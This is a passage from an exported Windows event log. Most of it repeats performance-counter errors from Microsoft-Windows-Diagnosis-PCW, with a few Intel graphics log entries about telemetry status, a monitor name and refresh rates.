\u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.621\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.621\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.621\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.622\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.622\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.622\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.622\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.622\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.622\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.622\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.622\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.622\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.622\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.622\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.622\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.622\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.622\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.622\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.639\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.639\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.639\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.639\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.640\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.640\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.640\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.640\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.640\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.640\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.640\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.640\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.640\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.640\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.640\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.640\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.640\t2\t{\"category\":\"DcaTelemetry\",\"level\":\"Information\",\"message\":\"App_Extension\",\"parameters\":{\"collectionEnabled\":false,\"status\":\"Entered\",\"value\":\"PerformanceMetrics\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.640\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.640\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.640\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.640\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.641\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.641\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.641\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.641\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.650\t2\t{\"category\":\"WindowsDisplayManagerWrapper\",\"level\":\"Information\",\"message\":\"GetMonitorName 8388688: \"}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.656\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.656\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.656\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.656\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.657\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.657\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.657\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.657\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.657\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.657\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.657\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.657\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.657\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.657\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.657\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.657\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.657\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.657\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.657\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.657\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.658\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.658\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.658\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.658\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.666\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"Maximum display vrr range\",\"parameters\":{\"minVrrRefreshRate\":24,\"maxVrrRefreshRate\":120}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.669\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"Current Display vrr range\",\"parameters\":{\"minVrrRefreshRate\":30,\"maxVrrRefreshRate\":120}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.674\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.674\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.674\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.674\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.674\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.675\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.675\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.675\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.675\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.675\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is 